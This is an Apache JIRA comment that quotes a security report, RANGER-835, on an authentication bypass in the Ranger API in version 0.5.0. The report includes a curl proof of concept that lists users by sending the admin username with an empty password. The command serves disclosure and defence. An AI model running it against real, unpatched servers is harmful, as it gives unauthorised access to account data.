----------------------------------------
[~jimhalfpenny], thanks again for reporting the issue. As we mentioned to you
in the private mailing list, security JIRAs are handled differently as per
Apache security guidance http://www.apache.org/security/committers.html.
Information of publicly announced issues can be found at

For the benefit of others, I have also put the link for others reference.
> Authentication bypass in Ranger API
> -----------------------------------
>
> Key: RANGER-835
> URL: https://issues.apache.org/jira/browse/RANGER-835
> Project: Ranger
> Issue Type: Bug
> Components: Ranger
> Affects Versions: 0.5.0
> Reporter: Jim Halfpenny
> Priority: Critical
> Labels: authentication, security, vulnerability
> Fix For: 0.5.1, 0.6.0
>
>
> Authentication to the Ranger API can be trivially bypassed by sending a valid
> username along with a null password. API authentication appears to work
> correctly, rejecting requests if the password is incorrect but allows
> requests where no password has been sent.
> The example below uses curl to demonstrate this issue by retrieving a list of
> the users.
> $ curl -u admin: -v http://127.0.0.1:6080/service/xusers/users
> * Trying 127.0.0.1...
> * Connected to 127.0.0.1 (127.0.0.1) port 6080 (#0)
> * Server auth using Basic with user 'admin'
> > HEAD /service/xusers/users HTTP/1.1
> > Host: 127.0.0.1:6080
> > Authorization: Basic YWRtaW46
> > User-Agent: curl/7.43.0
> > Accept: */*
